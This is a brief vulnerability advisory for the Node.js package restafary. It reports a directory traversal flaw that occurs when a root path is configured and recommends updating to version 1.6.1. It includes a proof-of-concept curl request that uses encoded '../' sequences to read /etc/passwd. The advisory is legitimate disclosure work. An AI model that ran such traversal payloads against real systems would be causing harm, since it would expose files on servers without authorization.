Directory Traversal

2016-03-28T22:21:23
ID NODEJS:89
Type nodejs
Reporter Craig Arendt
Modified 2018-05-08T14:27:01

Description

Overview

Affected versions of restafary are susceptible to a directory traversal vulnerability when a root path is specified in the configuration.

Proof of Concept

curl -i -s -k -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'

Recommendation

Update to version 1.6.1 or later.